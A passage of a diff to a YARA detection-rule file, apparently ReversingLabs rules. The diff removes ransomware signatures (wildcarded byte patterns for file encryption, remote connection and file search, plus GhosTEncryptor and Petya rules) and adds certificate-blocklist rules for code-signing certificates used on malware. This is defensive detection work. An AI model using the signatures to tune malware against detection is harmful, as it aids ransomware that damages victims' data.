?? ?? ?? ?? C6 45 ?? ?? 83 FE ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 84 C0 74 ?? 6A ?? 5E 83 EC ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ?? - ?? ?? 88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? - 89 59 ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 - } - $remote_connection_p3 = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 83 EE ?? 75 ?? 8B B5 ?? ?? ?? ?? 8D 46 ?? 83 F8 ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 59 59 89 5D ?? 89 7D ?? 88 9D ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 - 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 8B - F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ?? - ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ?? - E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 - } - $remote_connection_p4 = { - 89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D - ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 50 8D 45 ?? 89 4D ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 6A - ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? C6 45 - ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8B 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F 43 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 50 53 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 8B 75 ?? 0F 43 85 ?? ?? - ?? ?? 6A ?? 6A ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 40 8D 8D ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ?? ?? ?? 59 53 FF 75 ?? 8D 8D ?? ?? ?? ?? A3 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 1C 01 E8 ?? ?? - ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 59 8B 75 ?? - 8D 4D ?? C6 45 ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? 89 70 ?? 8B 45 ?? - 89 30 8B 45 ?? 89 70 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 58 50 68 ?? ?? ?? ?? 83 EC ?? 89 - } - $remote_connection_p5 = { - 5D ?? 8B CC FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B F8 6A ?? 58 - FF 35 ?? ?? ?? ?? 85 FF 0F 44 F8 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 5E 6A ?? 68 - ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? - C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8 - ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? 8D 4D ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 - 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 50 83 C1 ?? E8 ?? ?? - ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ?? - 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ?? - ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 - ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 - ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7 - 45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D - ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8B F0 6A ?? 58 6A ?? 5F 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? 88 45 ?? 89 5D ?? 89 7D ?? - 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? - 8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? 89 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 - EC ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? 89 79 ?? 68 ?? ?? ?? ?? 88 19 E8 - } - $encrypt_files_p1 = { - 8B FB 89 5D ?? 89 7D ?? 89 5D ?? 8B 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C6 45 ?? ?? 89 - 45 ?? 3B F0 74 ?? 56 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ?? - 8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ?? ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D - 4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ?? ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 6A - ?? 58 03 F0 3B 75 ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8B B5 ?? ?? ?? ?? - C6 45 ?? ?? 8B 06 89 45 ?? EB ?? 8D 48 ?? 8D 41 ?? 50 51 68 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ?? 8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ?? - ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D 4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ?? - ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 3B C6 75 ?? 8B 75 - ?? EB ?? 83 7E ?? ?? 74 ?? 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 75 ?? 0F 57 C0 68 ?? - ?? ?? ?? 66 0F 13 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 6A ?? 59 99 - F7 F9 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 8B - 75 ?? 8B 7D ?? 89 45 ?? 3B D8 74 ?? 83 EC ?? 8B CC 53 83 61 ?? ?? 83 61 ?? ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 03 F8 83 D6 ?? 6A ?? 58 03 D8 3B 5D ?? 75 ?? 0F AC - F7 ?? C1 EE ?? 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? 8B 35 - ?? ?? ?? ?? EB ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 6A ?? 58 03 F0 3B F7 75 ?? 68 ?? ?? ?? ?? E8 - } - $encrypt_files_p2 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 8D 8D ?? ?? ?? ?? 57 - 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 33 DB 50 8D 45 ?? 89 5D ?? 50 E8 ?? ?? ?? ?? 59 - 59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 6A ?? 89 59 ?? C7 41 - ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? 8A D8 E8 ?? ?? ?? ?? 84 DB 74 ?? 33 DB E9 ?? - ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 - C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? - ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 33 DB 8B CC 89 5D ?? 56 E8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 3B C1 0F 42 C8 3B C7 89 - 4D ?? 0F 42 F8 89 7D ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 39 9D ?? ?? ?? ?? 75 ?? 83 EC ?? 8B CC 56 E8 ?? ?? ?? - ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ?? C6 45 ?? ?? 72 ?? 8B 36 E8 - ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D - ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 77 ?? 56 E8 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ?? - ?? 8B 4D ?? 56 53 51 89 45 ?? E8 ?? ?? ?? ?? 56 53 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? - 83 C4 ?? 89 5D ?? 8B D3 85 C0 0F 84 ?? ?? ?? ?? 8B C8 2B CA 39 4D ?? 8B C1 8B F1 0F - 46 45 ?? 3B F9 89 45 ?? 0F 46 F7 8B 7D ?? 2B CE 89 75 ?? 39 4D ?? 0F 46 4D ?? 89 4D - ?? 85 FF 75 ?? 53 56 FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 0C 3E 8B - } - $encrypt_files_p3 = { - C4 89 4D ?? 89 08 8D 8D ?? ?? ?? ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? E8 - ?? ?? ?? ?? 53 FF 75 ?? 8D 8D ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 - ?? 8D 8D ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 8B D4 8B D8 - 33 C0 03 CF 89 0A 8D 8D ?? ?? ?? ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? E8 - ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 7D ?? 2B 75 ?? 03 - 7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? 56 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 - ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 01 45 ?? 53 E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 8B 84 05 ?? ?? ?? ?? C1 E8 ?? A8 ?? 74 ?? 83 EC ?? - 8B CC FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ?? - C6 45 ?? ?? 72 ?? 8B 36 E8 ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 7D ?? - 89 55 ?? 6A ?? 5B 3B D0 0F 82 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? - E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC - ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? - ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 8B 48 ?? C6 45 ?? ?? 72 ?? - 8B 00 51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? - 8D 45 ?? 0F 43 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 89 59 ?? - 89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? B3 ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 8A D8 8D 4D ?? E8 - ?? ?? ?? ?? 8B 4D ?? 8A C3 5F 5E 64 89 0D ?? ?? ?? ?? 5B C9 C3 - } - $find_files = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ?? - 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? - ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ?? - 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50 - 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 - 89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA - ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF - 80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 - F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? - ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 - FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? - 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 - 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? - ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B - C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 - ?? E9 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IMS INTERACTIVE MEDIA SOLUTIONS" and pe.signatures [ i ] . serial == "22:ac:ca:d2:35:fb:1a:c7:42:2e:be:5e:a7:ac:9b:c5" and 1019001600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_4D29757C4Fbfc32B97091D96E3723002 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "e1834597-4e45-5866-97f4-e00c79190930" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15350-L15366" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "78ede4b02cb1b07500cd0c4f1f33da598938940d0f58430edda00d79b19b16a5" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "4d:29:75:7c:4f:bf:c3:2b:97:09:1d:96:e3:72:30:02" and 1474848000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostencryptor : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3A949Ef03D9Dd2D150B24B274Ff6D7B4 : INFO FILE { meta: - description = "Yara rule that detects GhosTEncryptor ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9f035e39-e0fe-54f3-8206-08fbbd9206b4" - date = "2021-08-12" - modified = "2021-08-12" + id = "6ea47017-1296-5409-8ff2-ef69434233ff" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara#L1-L69" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15368-L15384" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "85c1f6e5acf746388b0a9ddeb1f0ad1d2219fff7358c9a981849863155c13e3c" + logic_hash = "88c63a921a300e1b985d084c3ab1a2485713b4c674dafd419d092e5562f121d7" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GhosTEncryptor" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_folders = { - 17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 03 28 ?? ?? ?? ?? 0B 16 0C 38 ?? ?? ?? ?? - 07 08 9A 0D 02 09 28 ?? ?? ?? ?? 2C ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 02 7B ?? ?? ?? ?? 09 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 09 28 ?? ?? ?? ?? 26 08 17 58 0C 08 07 8E 69 3F ?? - ?? ?? ?? 02 7B ?? ?? ?? ?? 06 17 6F ?? ?? ?? ?? 2A - } - $encrypt_folder_p1 = { - 1F ?? 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? - ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72 - ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? - A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72 - } - $encrypt_folder_p2 = { - A2 0A 03 28 ?? ?? ?? ?? 0B 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 07 09 9A 28 ?? ?? ?? ?? 13 - ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 07 09 9A 04 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69 - 32 ?? 16 13 ?? 2B ?? 02 08 11 ?? 9A 04 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 08 8E 69 - 32 ?? 2A - } - $deep_search_p1 = { - 17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 7E ?? ?? ?? ?? 0B 02 0C 16 0D 38 ?? ?? ?? - ?? 08 09 9A 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? - ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72 - } - $deep_search_p2 = { - 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 07 11 ?? 72 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 0B 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 09 17 58 0D 09 08 8E - 69 3F ?? ?? ?? ?? 07 06 17 6F ?? ?? ?? ?? 2A - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "3a:94:9e:f0:3d:9d:d2:d1:50:b2:4b:27:4f:f6:d7:b4" and 1474156800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_954D0577D5Ce8999E0387A5364829F66 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "70e770dd-95fd-5273-b6ee-9bb5eea30e3b" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15386-L15404" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "84ddc08a0a55200f644778a0e3482f15e82d74c524f12a7ad91b1c3d4acfc731" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $enum_folders ) and ( all of ( $deep_search_p* ) ) and ( all of ( $encrypt_folder_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Soblosol Limited" and ( pe.signatures [ i ] . serial == "00:95:4d:05:77:d5:ce:89:99:e0:38:7a:53:64:82:9f:66" or pe.signatures [ i ] . serial == "95:4d:05:77:d5:ce:89:99:e0:38:7a:53:64:82:9f:66" ) and 1543968000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Petya : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_Df5121Dc99D1Ab6B7E5229F6832123Ef : INFO FILE { meta: - description = "Yara rule that detects Petya ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "93d9fb33-88d1-50ec-bf99-1888201c0ec2" - date = "2020-06-26" - modified = "2020-07-15" + id = "8dfc50be-7316-5a52-937b-4551aa642b7e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Petya.yara#L3-L58" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15406-L15424" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d2adafcb21b627d614eab79e64e2b96ad09fae796d0670452a19490d8781ce99" + logic_hash = 